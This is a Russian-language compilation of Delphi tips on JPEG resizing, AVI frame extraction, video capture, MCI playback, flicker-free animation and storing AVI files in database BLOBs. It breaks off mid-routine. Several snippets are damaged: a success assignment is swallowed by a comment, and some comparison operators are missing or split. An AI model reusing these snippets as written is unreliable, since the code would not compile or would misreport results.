Изменение размеров JPEG Image?

{

  Before importing an image (jpg) into a database,
  I would like to resize it (reduce its size) and
  generate the corresponding smaller file. How can I do this?

  Load the JPEG into a bitmap, create a new bitmap
  of the size that you want and pass them both into
  SmoothResize then save it again ...
  there's a neat routine JPEGDimensions that
  gets the JPEG dimensions without actually loading the JPEG into a bitmap,
  saves loads of time if you only need to test its size before resizing.
}

uses
  JPEG;

type
  TRGBArray = array[Word] of TRGBTriple;
  pRGBArray = ^TRGBArray;

{---------------------------------------------------------------------------
-----------------------}

procedure SmoothResize(Src, Dst: TBitmap);
var
  x, y: Integer;
  xP, yP: Integer;
  xP2, yP2: Integer;
  SrcLine1, SrcLine2: pRGBArray;
  t3: Integer;
  z, z2, iz2: Integer;
  DstLine: pRGBArray;
  DstGap: Integer;
  w1, w2, w3, w4: Integer;
begin
  Src.PixelFormat := pf24Bit;
  Dst.PixelFormat := pf24Bit;

  if (Src.Width = Dst.Width) and (Src.Height = Dst.Height) then
    Dst.Assign(Src)
  else
  begin
    DstLine := Dst.ScanLine[0];
    DstGap  := Integer(Dst.ScanLine[1]) - Integer(DstLine);

    xP2 := MulDiv(pred(Src.Width), $10000, Dst.Width);
    yP2 := MulDiv(pred(Src.Height), $10000, Dst.Height);
    yP  := 0;

    for y := 0 to pred(Dst.Height) do
    begin
      xP := 0;

      SrcLine1 := Src.ScanLine[yP shr 16];

      if (yP shr 16 < pred(Src.Height)) then
        SrcLine2 := Src.ScanLine[succ(yP shr 16)]
      else
        SrcLine2 := Src.ScanLine[yP shr 16];

      z2  := succ(yP and $FFFF);
      iz2 := succ((not yp) and $FFFF);
      for x := 0 to pred(Dst.Width) do
      begin
        t3 := xP shr 16;
        z  := xP and $FFFF;
        w2 := MulDiv(z, iz2, $10000);
        w1 := iz2 - w2;
        w4 := MulDiv(z, z2, $10000);
        w3 := z2 - w4;
        DstLine[x].rgbtRed := (SrcLine1[t3].rgbtRed * w1 +
          SrcLine1[t3 + 1].rgbtRed * w2 +
          SrcLine2[t3].rgbtRed * w3 + SrcLine2[t3 + 1].rgbtRed * w4) shr 16;
        DstLine[x].rgbtGreen :=
          (SrcLine1[t3].rgbtGreen * w1 + SrcLine1[t3 + 1].rgbtGreen * w2 +

          SrcLine2[t3].rgbtGreen * w3 + SrcLine2[t3 + 1].rgbtGreen * w4) shr 16;
        DstLine[x].rgbtBlue := (SrcLine1[t3].rgbtBlue * w1 +
          SrcLine1[t3 + 1].rgbtBlue * w2 +
          SrcLine2[t3].rgbtBlue * w3 +
          SrcLine2[t3 + 1].rgbtBlue * w4) shr 16;
        Inc(xP, xP2);
      end; {for}
      Inc(yP, yP2);
      DstLine := pRGBArray(Integer(DstLine) + DstGap);
    end; {for}
  end; {if}
end; {SmoothResize}

{---------------------------------------------------------------------------
-----------------------}

function LoadJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string): Boolean;
var
  JPEGImage: TJPEGImage;
begin
  if (FileName = '') then    // No FileName so nothing
    Result := False  //to load - return False...
  else
  begin
    try  // Start of try except
      JPEGImage := TJPEGImage.Create;  // Create the JPEG image... try  // now
      try  // to load the file but
        JPEGImage.LoadFromFile(FilePath + FileName);
        // might fail...with an Exception.
        Bitmap.Assign(JPEGImage);
        // Assign the image to our bitmap.Result := True;
        // Got it so return True.
      finally
        JPEGImage.Free;  // ...must get rid of the JPEG image. finally
      end; {try}
    except
      Result := False; // Oops...never Loaded, so return False.
    end; {try}
  end; {if}
end; {LoadJPEGPictureFile}

{---------------------------------------------------------------------------
-----------------------}

function SaveJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string;
  Quality: Integer): Boolean;
begin
  Result := True;
  try
    if ForceDirectories(FilePath) then
    begin
      with TJPegImage.Create do
      begin
        try
          Assign(Bitmap);
          CompressionQuality := Quality;
          SaveToFile(FilePath + FileName);
        finally
          Free;
        end; {try}
      end; {with}
    end; {if}
  except
    raise;
    Result := False;
  end; {try}
end; {SaveJPEGPictureFile}

{---------------------------------------------------------------------------
-----------------------}

procedure ResizeImage(FileName: string; MaxWidth: Integer);
var
  OldBitmap: TBitmap;
  NewBitmap: TBitmap;
  aWidth: Integer;
begin
  OldBitmap := TBitmap.Create;
  try
    if LoadJPEGPictureFile(OldBitmap, ExtractFilePath(FileName),
      ExtractFileName(FileName)) then
    begin
      aWidth := OldBitmap.Width;
      if (OldBitmap.Width > MaxWidth) then
      begin
        aWidth    := MaxWidth;
        NewBitmap := TBitmap.Create;
        try
          NewBitmap.Width  := MaxWidth;
          NewBitmap.Height := MulDiv(MaxWidth, OldBitmap.Height, OldBitmap.Width);
          SmoothResize(OldBitmap, NewBitmap);
          RenameFile(FileName, ChangeFileExt(FileName, '.$$$'));
          if SaveJPEGPictureFile(NewBitmap, ExtractFilePath(FileName),
            ExtractFileName(FileName), 75) then
            DeleteFile(ChangeFileExt(FileName, '.$$$'))
          else
            RenameFile(ChangeFileExt(FileName, '.$$$'), FileName);
        finally
          NewBitmap.Free;
        end; {try}
      end; {if}
    end; {if}
  finally
    OldBitmap.Free;
  end; {try}
end;

{---------------------------------------------------------------------------
-----------------------}

function JPEGDimensions(Filename : string; var X, Y : Word) : boolean;
var
  SegmentPos : Integer;
  SOIcount : Integer;
  b : byte;
begin
  Result  := False;
  with TFileStream.Create(Filename, fmOpenRead or fmShareDenyNone) do
  begin
    try
      Position := 0;
      Read(X, 2);
      if (X <> $D8FF) then
        exit;
      SOIcount  := 0;
      Position  := 0;
      while (Position + 7 < Size) do
      begin
        Read(b, 1);
        if (b = $FF) then begin
          Read(b, 1);
          if (b = $D8) then
            inc(SOIcount);
          if (b = $DA) then
            break;
        end; {if}
      end; {while}
      if (b <> $DA) then
        exit;
      SegmentPos  := -1;
      Position    := 0;
      while (Position + 7 < Size) do
      begin
        Read(b, 1);
        if (b = $FF) then
        begin
          Read(b, 1);
          if (b in [$C0, $C1, $C2]) then
          begin
            SegmentPos  := Position;
            dec(SOIcount);
            if (SOIcount = 0) then
              break;
          end; {if}
        end; {if}
      end; {while}
      if (SegmentPos = -1) then
        exit;
      if (Position + 7 > Size) then
        exit;
      Position := SegmentPos + 3;
      Read(Y, 2);
      Read(X, 2);
      X := Swap(X);
      Y := Swap(Y);
      Result  := true;
    finally
      Free;
    end; {try}
  end; {with}
end; {JPEGDimensions}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

загрузи в bitmap, измени размеры, сделай Stretch и сохрани.

procedure TForm1.Button1Click(Sender: TObject);
var
  bmp: TBItmap;
  jpg: TJpegImage;
  scale: Double;
begin
  if opendialog1.execute then
  begin
    jpg := TJpegImage.Create;
    try
      jpg.Loadfromfile( opendialog1.filename );
      if jpg.Height > jpg.Width then
        scale := 50 / jpg.Height
      else
        scale := 50 / jpg.Width;
      bmp:= Tbitmap.Create;
      try
        {Create thumbnail bitmap, keep pictures aspect ratio}
        bmp.Width := Round( jpg.Width * scale );
        bmp.Height:= Round( jpg.Height * scale );
        bmp.Canvas.StretchDraw( bmp.Canvas.Cliprect, jpg );
        {Draw thumbnail as control}
        Self.Canvas.Draw( 100, 10, bmp );
        {Convert back to JPEG and save to file}
        jpg.Assign( bmp );
        jpg.SaveToFile(ChangeFileext( opendialog1.filename, '_thumb.JPG' ));
      finally
        bmp.free;
      end;
    finally
      jpg.free;
    end;
  end;
end;

Не забудь USES Jpeg;

Автор RoboSol
Взято из http://forum.sources.ru


Работа с видео и анимацией

Cодержание раздела:

Как экстрагировать фрейм из AVI?
Как получить картинку с видео источника
Как прочитать свойства видеофайла?
Как показать видео на полном экране?
Как сделать анимацию немерцающей
Анимация без DirectX
Storing/Playing an .AVI file in a database
Плавно превратить один рисунок в другой
Информация о AVI файле, (разбор заголовка AVI) New!

См. также статьи в других разделах:
AVI файл проигрывается снова и снова
Как экстрагировать аудиодорожку из AVI файла?
BMP ---> AVI (для TAnimate)


Как экстрагировать фрейм из AVI?

uses
 VfW { from download };

function GrabAVIFrame(avifn: string; iFrameNumber: Integer; ToFileName: TFileName): Boolean;
var
  Error: Integer;
  pFile: PAVIFile;
  AVIStream: PAVIStream;
  gapgf: PGETFRAME;
  lpbi: PBITMAPINFOHEADER;
  bits: PChar;
  hBmp: HBITMAP;
  AviInfo: TAVIFILEINFOW;
  sError: string;
  TmpBmp: TBitmap;
  DC_Handle: HDC;
begin
  Result := False;
  // Initialize the AVIFile library.
  AVIFileInit;

  // The AVIFileOpen function opens an AVI file
  Error := AVIFileOpen(pFile, PChar(avifn), 0, nil);
  if Error <> 0 then
  begin
    AVIFileExit;
    case Error of
      AVIERR_BADFORMAT: sError := 'The file couldnot be read';
      AVIERR_MEMORY: sError := 'The file could not be opened because of insufficient memory.';
      AVIERR_FILEREAD: sError := 'A disk error occurred while reading the file.';
      AVIERR_FILEOPEN: sError := 'A disk error occurred while opening the file.';
    end;
    ShowMessage(sError);
    Exit;
  end;

  // AVIFileInfo obtains information about an AVI file
  if AVIFileInfo(pFile, @AVIINFO, SizeOf(AVIINFO)) <> AVIERR_OK then
  begin
    // Clean up and exit
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;

  // Show some information about the AVI
  Form1.Memo1.Lines.Add('AVI Width : ' + IntToStr(AVIINFO.dwWidth));
  Form1.Memo1.Lines.Add('AVI Height : ' + IntToStr(AVIINFO.dwHeight));
  Form1.Memo1.Lines.Add('AVI Length : ' + IntToStr(AVIINFO.dwLength));

  // Open a Stream from the file
  Error := AVIFileGetStream(pFile, AVIStream, streamtypeVIDEO, 0);
  if Error <> AVIERR_OK then
  begin
    // Clean up and exit
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;

  // Prepares to decompress video frames
  gapgf := AVIStreamGetFrameOpen(AVIStream, nil);
  if gapgf = nil then
  begin
    AVIStreamRelease(AVIStream);
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;

  // Read current Frame
  // AVIStreamGetFrame Returns the address of a decompressed video frame
  lpbi := AVIStreamGetFrame(gapgf, iFrameNumber);
  if lpbi = nil then
  begin
    AVIStreamGetFrameClose(gapgf);
    AVIStreamRelease(AVIStream);
    AVIFileRelease(pFile);
    AVIFileExit;
    Exit;
  end;

  // Show number of frames:
  Form1.Memo1.Lines.Add(Format('Framstart: %d FrameEnd: %d',
    [AVIStreamStart(AVIStream), AVIStreamEnd(AVIStream)]));

  TmpBmp := TBitmap.Create;
  try
    TmpBmp.Height := lpbi.biHeight;
    TmpBmp.Width  := lpbi.biWidth;
    bits := Pointer(Integer(lpbi) + SizeOf(TBITMAPINFOHEADER));

    DC_Handle := CreateDC('Display', nil, nil, nil);
    try
      hBmp := CreateDIBitmap(DC_Handle, // handle of device context
        lpbi^, // address of bitmap size and format data
        CBM_INIT, // initialization flag
        bits, // address of initialization data
        PBITMAPINFO(lpbi)^, // address of bitmap color-format data
        DIB_RGB_COLORS); // color-data usage
    finally
      DeleteDC(DC_Handle);
    end;

    TmpBmp.Handle := hBmp;
    AVIStreamGetFrameClose(gapgf);
    AVIStreamRelease(AVIStream);
    AVIFileRelease(pfile);
    AVIFileExit;
    try
      TmpBmp.SaveToFile(ToFileName);
      Result := True;
    except
    end;
  finally
    TmpBmp.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  // Extract Frame 3 from AVI file
  GrabAVIFrame('C:\Test.avi', 3, 'c:\avifram.bmp');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить картинку с видео источника

Для использования следующиего примера необходимо иметь "Microsoft Video for Windows SDK". Пример показывает, как открыть видео устройство для захвата видео, как сграбить фрейм с устройства, как сохранить этот фрейм на диск в виде файла .BMP, как записать .AVI файл (со звуком, но без предварительного просмотра), и как закрыть устройство.
Замечание: Для работы примера необходимо иметь установленное устройство захвата видео (video capture device).

Пример:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    OpenVideo: TButton;
    CloseVideo: TButton;
    GrabFrame: TButton;
    SaveBMP: TButton;
    StartAVI: TButton;
    StopAVI: TButton;
    SaveDialog1: TSaveDialog;
    procedure FormCreate(Sender: TObject);
    procedure OpenVideoClick(Sender: TObject);
    procedure CloseVideoClick(Sender: TObject);
    procedure GrabFrameClick(Sender: TObject);
    procedure SaveBMPClick(Sender: TObject);
    procedure StartAVIClick(Sender: TObject);
    procedure StopAVIClick(Sender: TObject);
  private
    { Private declarations }
    hWndC : THandle;
    CapturingAVI : bool;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

const WM_CAP_START                  = WM_USER;
const WM_CAP_STOP                   = WM_CAP_START + 68;
const WM_CAP_DRIVER_CONNECT         = WM_CAP_START + 10;
const WM_CAP_DRIVER_DISCONNECT      = WM_CAP_START + 11;
const WM_CAP_SAVEDIB                = WM_CAP_START + 25;
const WM_CAP_GRAB_FRAME             = WM_CAP_START + 60;
const WM_CAP_SEQUENCE               = WM_CAP_START + 62;
const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START +  20;

function capCreateCaptureWindowA(lpszWindowName : PCHAR;
                                 dwStyle : longint;
                                 x : integer;
                                 y : integer;
                                 nWidth : integer;
                                 nHeight : integer;
                                 ParentWin  : HWND;
                                 nId : integer): HWND;
                                 STDCALL EXTERNAL 'AVICAP32.DLL';

procedure TForm1.FormCreate(Sender: TObject);
begin
  CapturingAVI := false;
  hWndC := 0;
  SaveDialog1.Options :=
    [ofHideReadOnly, ofNoChangeDir, ofPathMustExist]
end;

procedure TForm1.OpenVideoClick(Sender: TObject);
begin
  hWndC := capCreateCaptureWindowA('My Own Capture Window',
                                   WS_CHILD or WS_VISIBLE ,
                                   Panel1.Left,
                                   Panel1.Top,
                                   Panel1.Width,
                                   Panel1.Height,
                                   Form1.Handle,
                                   0);
  if hWndC <> 0 then
    SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
end;

procedure TForm1.CloseVideoClick(Sender: TObject);
begin
  if hWndC <> 0 then begin
    SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
   hWndC := 0;
   end;
end;

procedure TForm1.GrabFrameClick(Sender: TObject);
begin
  if hWndC <> 0 then
    SendMessage(hWndC, WM_CAP_GRAB_FRAME, 0, 0);
end;

procedure TForm1.SaveBMPClick(Sender: TObject);
begin
  if hWndC <> 0 then begin
    SaveDialog1.DefaultExt := 'bmp';
    SaveDialog1.Filter := 'Bitmap files (*.bmp)|*.bmp';
    if SaveDialog1.Execute then
      SendMessage(hWndC,
                  WM_CAP_SAVEDIB,
                  0,
                  longint(pchar(SaveDialog1.FileName)));
  end;
end;

procedure TForm1.StartAVIClick(Sender: TObject);
begin
  if hWndC <> 0 then begin
    SaveDialog1.DefaultExt := 'avi';
    SaveDialog1.Filter := 'AVI files (*.avi)|*.avi';
    if SaveDialog1.Execute then begin
       CapturingAVI := true;
       SendMessage(hWndC,
                   WM_CAP_FILE_SET_CAPTURE_FILEA,
                   0,
                   Longint(pchar(SaveDialog1.FileName)));
       SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
    end;
  end;
end;

procedure TForm1.StopAVIClick(Sender: TObject);
begin
  if hWndC <> 0 then begin
    SendMessage(hWndC, WM_CAP_STOP, 0, 0);
    CapturingAVI := false;
  end;
end;

end.

Взято из http://forum.sources.ru


Как прочитать свойства видеофайла?

Below is some code to get some of the data. To use the DirectDraw/ DirectShow calls you need either the older DSHOW.PAS (DX6) or more current DirectShow.pas header conversion from the Project JEDI web site:

type
  TDSMediaInfo = record
    SurfaceDesc: TDDSurfaceDesc;
    Pitch: integer;
    PixelFormat: TPixelFormat;
    MediaLength: Int64;
    AvgTimePerFrame: Int64;
    FrameCount: integer;
    Width: integer;
    Height: integer;
    FileSize: Int64;
  end;

function GetHugeFileSize(const FileName: string): int64;
var
  FileHandle: hFile;
begin
  FileHandle := FileOpen(FileName, fmOpenRead or fmShareDenyNone);
  try
    LARGE_INTEGER(Result).LowPart := GetFileSize(FileHandle, @LARGE_INTEGER(Result).HighPart);
    if LARGE_INTEGER(Result).LowPart = $FFFFFFFF then
      Win32Check(GetLastError = NO_ERROR);
  finally
    FileClose(FileHandle);
  end;
end;

function GetMediaInfo(FileName: WideString): TDSMediaInfo;
var
  DirectDraw: IDirectDraw;
  AMStream: IAMMultiMediaStream;
  MMStream: IMultiMediaStream;
  PrimaryVidStream: IMediaStream;
  DDStream: IDirectDrawMediaStream;
  GraphBuilder: IGraphBuilder;
  MediaSeeking: IMediaSeeking;
  TimeStart, TimeStop: Int64;
  DesiredSurface: TDDSurfaceDesc;
  DDSurface: IDirectDrawSurface;
begin
  if FileName = '' then
    raise Exception.Create('No File Name Specified');
  OleCheck(DirectDrawCreate(nil, DirectDraw, nil));
  DirectDraw.SetCooperativeLevel(GetDesktopWindow(), DDSCL_NORMAL);
  Result.FileSize := GetHugeFileSize(FileName);
  AMStream := IAMMultiMediaStream(CreateComObject(CLSID_AMMultiMediaStream));
  OleCheck(AMStream.Initialize(STREAMTYPE_READ, AMMSF_NOGRAPHTHREAD, nil));
  OleCheck(AMStream.AddMediaStream(DirectDraw, MSPID_PrimaryVideo, 0, IMediaStream(nil^)));
  OleCheck(AMStream.OpenFile(PWideChar(FileName), AMMSF_NOCLOCK));
  AMStream.GetFilterGraph(GraphBuilder);
  MediaSeeking := GraphBuilder as IMediaSeeking;
  MediaSeeking.GetDuration(Result.MediaLength);
  MMStream := AMStream as IMultiMediaStream;
  OleCheck(MMStream.GetMediaStream(MSPID_PrimaryVideo, PrimaryVidStream));
  DDStream := PrimaryVidStream as IDirectDrawMediaStream;
  DDStream.GetTimePerFrame(Result.AvgTimePerFrame);
  {Result.FrameCount := Result.MediaLength div Result.AvgTimePerFrame;}
  { TODO : Test for better accuracy }
  Result.FrameCount := Round(Result.MediaLength / Result.AvgTimePerFrame);
  Result.MediaLength := Result.FrameCount * Result.AvgTimePerFrame;
  ZeroMemory(@DesiredSurface, SizeOf(DesiredSurface));
  DesiredSurface.dwSize := Sizeof(DesiredSurface);
  OleCheck(DDStream.GetFormat(TDDSurfaceDesc(nil^), IDirectDrawPalette(nil^),
    DesiredSurface, DWord(nil^)));
  Result.SurfaceDesc := DesiredSurface;
  DesiredSurface.ddsCaps.dwCaps := DesiredSurface.ddsCaps.dwCaps or
    DDSCAPS_OFFSCREENPLAIN or DDSCAPS_SYSTEMMEMORY;
  DesiredSurface.dwFlags := DesiredSurface.dwFlags or DDSD_CAPS or DDSD_PIXELFORMAT;
  {Create a surface here to get vital statistics}
  OleCheck(DirectDraw.CreateSurface(DesiredSurface, DDSurface, nil));
  OleCheck(DDSurface.GetSurfaceDesc(DesiredSurface));
  Result.Pitch := DesiredSurface.lPitch;
  if DesiredSurface.ddpfPixelFormat.dwRGBBitCount = 24 then
    Result.PixelFormat := pf24bit
  else if DesiredSurface.ddpfPixelFormat.dwRGBBitCount = 32 then
    Result.PixelFormat := pf32bit;
  Result.Width := DesiredSurface.dwWidth;
  Result.Height := DesiredSurface.dwHeight;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как показать видео на полном экране?

procedure TForm1.Button1Click(Sender: TObject);
const
  longName: PChar = 'f:\media\ANIM1.MPG'; {Your complete FileName}
var
  ret, shortName: PChar;
  err: DWord;
begin
  {Getting the short Name (8:3) of selected file}
  shortName := strAlloc(521);
  GetShortPathName(longName, shortname, 512);
  {Sending a close Command to the MCI}
  ret := strAlloc(255);
  err := mciSendString(pchar('close movie'), 0, 0, 0);
  {No error check because at the first call there is no MCI device to close}
  {Open a new MCI Device with the selected movie file}
  err := mciSendString(pchar('open ' + shortName + ' alias movie'), 0, 0, 0);
  shortName := nil;
  {If an Error was traced then display a MessageBox with the mciError string}
  if err <> 0 then
  begin
    mciGetErrorString(err, ret, 255);
    messageDlg(ret, mtInformation, [mbOk], 0);
  end;
  {Sending the "play fullscreen command to the Windows MCI}
  err := mciSendString(pchar('play movie fullscreen'), 0, 0, 0);
  {Use the following line instead of the above one if you want to play
   it in screen mode}
  err := mciSendString(pchar('play movie'), 0, 0, 0);
  {If an Error was traced then display a MessageBox with the mciError string}
  if err <> 0 then
  begin
    mciGetErrorString(err, ret, 255);
    messageDlg(ret, mtInformation, [mbOk], 0);
  end;
  ret := nil;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как сделать анимацию немерцающей

Мерцание возникает, когда цвет точки меняется два раза подряд. Например, правильнее объект при его перемещении стирать и затем рисовать на новом месте не на экране, а в памяти, и выводить на форму уже готовое изображение поверх предыдущего. В таком случае смена цветов на экране происходит только один раз.

var
  bm: TBitMap;

procedure TForm1.FormCreate(Sender: TObject);
begin
  bm := TBitMap.Create;
  bm.Width := Form1.ClientWidth;
  bm.Height := Form1.ClientHeight;
  with bm.Canvas do
  begin
    Font.name := 'Arial';
    Font.Size := 50;
    Font.Color := clBlue;
  end;
  Timer1.Interval := 100;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  s: string;
  Hour, Min, Sec, MSec: Word;
begin
  DecodeTime(Time, Hour, Min, Sec, MSec);
  with bm.Canvas do
  begin
    Brush.Style := bsSolid;
    Brush.Color := clWhite;
    FillRect(ClipRect);
    s := TimeToStr(Time);
    TextOut((bm.Width - TextWidth(s)) div 2,
    (bm.Height - TextHeight(s)) div 2, s);
    Pen.Mode := pmMask;
    Pen.Width := 20;
    Pen.Color := clLime;
    Brush.Style := bsClear;
    Rectangle(bm.Width div 2 - (MSec * bm.Width) div 5000,
    bm.Height div 2 - (MSec * bm.Height) div 5000,
    bm.Width div 2 + (MSec * bm.Width) div 5000,
    bm.Height div 2 + (MSec * bm.Height) div 5000);
  end;
  Form1.Canvas.Draw(0, 0, bm);
end;

Взято с http://delphiworld.narod.ru


Анимация без DirectX

Автор: http://sunsb.dax.ru

При попытке изобразить некую анимацию использую только средства TCanvas, на экране получается черте-чего. Все мельтешит, дергается, одним словом - не годится.

Для получения " гладкой" ( не мельтешащей ) анимация в программах не использующих DirectX, я обычно использую следующую технику.

Узким местом в процессе является момент изменения картинки на экране, поэтому рисование нужно проводить на невидимом для пользователя канвасе, и только подготовив там обновляемые участки выводить их на видимый экран.

Для того, чтобы стереть кртинку в том месте где ее уже нет, нужно помнить позицию в которой она была выведена в прошлый раз. Обзовем эту позицию Old: TRect, текущую позицию запомним в New: TRect.

TRect я использую, на сучай если размер отображаемой картинки может изменяться.

Стандартным подходом является написание двух процедур - Hide и Show, одна из которых прячет картинку в старой позиции, выводя участок фона поверх нее, а вторая выводит в новой позиции.

Такой вариант не проходит и приводит к мерцанию изображения.

Я предлагаю оставить процедуру Hide в покое, и пользоваться ей только если картинку нужно совсем убрать с экрана.

Процедура Show будет выполнять обе нужные функции. Для обновления экрана нам нужно погасить картинку в старой позиции и показать в новой.

Тут возможны два варианта.

Первый - старый и новый прямоугольники пересекаются. В этом случае мы создаем временный TBItmap - tmp с размером их объединения, заполняем его требуемым участком фона, и рисуем на нем картинку. После такой подготовки выводим tmp в нужной позиции экрана.

Второй - старый и новый прямоугольники не пересекаются. В этом случае мы просто копируем прямоугольник old с невидимой копии фона на экран ( процедура Hide ), и рисуем нужную картинку в прямоугольнике new.

При таком подходе мы избегаем двойной перерисовки экрана, что исключает мерцание.

Ниже программа которая все это делает.

var wsrf: TPaintBox; // видимый экран
var ssrf: TBitmap;   // скрытый неизменяемый фон
var bmp : TBitmap;   // картинка для анимации
var tmp : TBitmap;   // временное хранилище

function hasIntersect( const A,B : TRect): boolean;
var R: trect; // пересекаются ли прямоугольники
begin
   result  := false;
   R.Left  := max( A.Left,   B.Left   );
   R.Right := min( A.Right,  B.Right  );
   if R.Left > = R.Right then exit;
   R.Top   := max( A.Top,    B.Top    );
   R.Bottom:= min( A.Bottom, B.Bottom );
   if R.Top  > = R.Bottom then exit;
   result := true;
end;

function Union( A, B: TRect ):TRect;
begin // результат - объединение
   if EmptyRect( A ) then result := B
   else if EmptyRect( B ) then result := A
        else begin
         Result.Left  := min( A.Left,   B.Left   );
         Result.Top   := min( A.Top,    B.Top    );
         Result.Right := max( A.Right,  B.Right  );
         Result.Bottom:= max( A.Bottom, B.Bottom );
      end;
end;

procedure TOneTooth.Hide;
begin
  tmp.Width := bmp.Width;
  tmp.Height:= bmp.Height;
  tmp.Canvas.CopyRect( bmpRect(tmp), ssrf.Canvas, old );
  wsrf.Canvas.Draw( old.Left, old.Top, tmp );
end;

procedure TOneTooth.Show;
var R, R1 : TRect;
begin
  now.Right  := now.Left + bmp.Width ;
         //корректировка now на случай
  now.Bottom := now.Top  + bmp.Height;
         //изменения размеров bmp
  if hasIntersect( old, now ) then begin
    R := Union( old, now );
    tmp.Width := R.Right-R.Left;
    tmp.Height:= R.Bottom-R.Top;
    tmp.Canvas.CopyRect( bmpRect(tmp), ssrf.Canvas, R );
       // фон
    tmp.Canvas.Draw( now.left-r.left, now.Top-r.top, bmp )
       // фон + картинка
  end else begin
    Hide;
    tmp.Canvas.CopyRect( bmpRect(bmp), ssrf.Canvas, now );
       // фон
    tmp.Canvas.Draw( 0, 0, bmp ); // фон + картинка
    R:=now;
  end;
  wsrf.Canvas.Draw( R.Left, R.Top, tmp );
  old := now;
end;

Взято с http://delphiworld.narod.ru


Storing/Playing an .AVI file in a database

How can I store an AVI file in a database and then play AVI
files?

AVI files can be stored in BLOB (binary large object) fields.
The easiest way to play an AVI file stored in a BLOB is to write
the BLOB data to a temporary file, then let the mulimedia player
play the file. The following example demonstrates how to store
an AVI file to a BLOB field, and also play the AVI file from the
BLOB field.

var
  FileName : string;

{This function gets a temporary file name form the system}
function GetTemporaryFileName : string;
{$IFNDEF WIN32}
  const MAX_PATH = 144;
{$ENDIF}
var
 {$IFDEF WIN32}
  lpPathBuffer : PChar;
 {$ENDIF}
  lpbuffer : PChar;
begin
 {Get the file name buffer}
  GetMem(lpBuffer, MAX_PATH);
 {$IFDEF WIN32}
 {Get the temp path buffer}
  GetMem(lpPathBuffer, MAX_PATH);
 {Get the temp path}
  GetTempPath(MAX_PATH, lpPathBuffer);
 {Get the temp file name}
  GetTempFileName(lpPathBuffer,
                  'tmp',
                  0,
                  lpBuffer);
 {Free the temp path buffer}
  FreeMem(lpPathBuffer, MAX_PATH);
 {$ELSE}
 {Get the temp file name}
  GetTempFileName(GetTempDrive('C'),
                  'tmp',
                  0,
                  lpBuffer);
 {$ENDIF}
 {Create a pascal string containg}
 {the  temp file name and return it}
  result := StrPas(lpBuffer);
 {Free the file name buffer}
  FreeMem(lpBuffer, MAX_PATH);
end;

{Read a AVI file into a blob field}
procedure TForm1.Button1Click(Sender: TObject);
var
  FileStream: TFileStream; {to load the avi file}
  BlobStream: TBlobStream; {to save to the blob}
begin
 {Allow the button to repaint}
  Application.ProcessMessages;
 {Turn off the buttons}
  Button1.Enabled := false;
  Button2.Enabled := false;
 {Assign the avi file name to read}
  FileStream := TFileStream.Create(
    'C:\PROGRA~1\BORLAND\DELPHI~1\DEMOS\COOLSTUF\COOL.AVI',
    fmOpenRead);
  Table1.Edit;
 {Create a BlobStream for the TField Table1AVI}
  BlobStream := TBlobStream.Create(Table1AVI, bmReadWrite);
 {Seek to the Beginning of the stream}
  BlobStream.Seek(0, soFromBeginning);
 {Delete any data that may be there}
  BlobStream.Truncate;
 {Copy from the FileStream to the BlobStream}
  BlobStream.CopyFrom(FileStream, FileStream.Size);
 {Free the streams}
  FileStream.Free;
  BlobStream.Free;
 {Post the record}
  Table1.Post;
 {Enable the buttons}
  Button1.Enabled := true;
  Button2.Enabled := true;
end;

{Read an avi stored in a blob, and play it}
procedure TForm1.Button2Click(Sender: TObject);
var
  FileStream: TFileStream; {a temp file}
  BlobStream: TBlobStream; {the AVI Blob}
begin
 {Create a blob stream for the AVI blob}
  BlobStream := TBlobStream.Create(Table1AVI, bmRead);
  if BlobStream.Size = 0 then begin
   BlobStream.Free;
   Exit;
  end;
 {Close the media player}
  MediaPlayer1.Close;
 {Reset the file name}
  MediaPlayer1.FileName := '';
 {Refresh the play window}
  MediaPlayer1.Display := Panel1;
  Panel1.Refresh;
 {if we have a temp file then erase it}
  if FileName  '' then
    DeleteFile(FileName);
 {Get a temp file name}
  FileName := GetTemporaryFileName;
 {Create a temp file stream}
  FileStream := TFileStream.Create(FileName,
                                   fmCreate or fmOpenWrite);
 {Copy the blob to the temp file}
  FileStream.CopyFrom(BlobStream, BlobStream.Size);
 {Free the streams}
  FileStream.Free;
  BlobStream.Free;
 {Setup the Media player to play the AVI file}
  MediaPlayer1.FileName := filename;
  MediaPlayer1.DeviceType := dtAviVideo;
  MediaPlayer1.Open;
  MediaPlayer1.Play;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 {Unassign the temp file from the media player}
  MediaPlayer1.Close;
  MediaPlayer1.FileName := '';
 {Erase the temp file}
  if FileName  '' then
    DeleteFile(FileName);
end;


Плавно превратить один рисунок в другой

procedure TForm1.Button1Click(Sender: TObject);
const
  count = 100;
var
  i: integer;
  x, y: integer;
  bm, bm1, bm2: TBitMap;
  p1, p2, p: PByteArray;
  c: integer;
  k: integer;
begin
  bm := TBitMap.Create;
  bm1 := TBitMap.Create;
  bm2 := TBitMap.Create;
  bm1.LoadFromFile('Bitmap1.bmp');
  bm2.LoadFromFile('Bitmap2.bmp');
  if bm1.Height < bm2.Height then
  begin
    bm.Height := bm1.Height;
    bm2.Height := bm1.Height;
  end
  else
  begin
    bm.Height := bm2.Height;
    bm1.Height := bm2.Height;
  end;
  if bm1.Width < bm2.Width then
  begin
    bm.Width := bm1.Width;
    bm2.Width := bm1.Width;
  end
  else
  begin
    bm.Width := bm2.Width;
    bm1.Width := bm2.Width;
